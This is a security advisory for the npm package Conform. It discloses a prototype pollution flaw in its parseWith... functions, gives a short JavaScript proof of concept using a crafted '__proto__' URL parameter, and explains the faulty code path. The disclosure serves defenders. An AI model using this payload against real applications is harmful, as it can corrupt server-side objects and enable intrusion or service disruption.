[NPM:GHSA-624G-8QJG-8QXF] Conform contains a Prototype Pollution Vulnerability in `parseWith...` function

Summary

Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.

PoC

```javascript
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");

const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });

parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"
```

Details

The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:

```javascript
let pointer = value;

pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;

pointer.polluted = "polluted";
```

This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.

Impact

Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.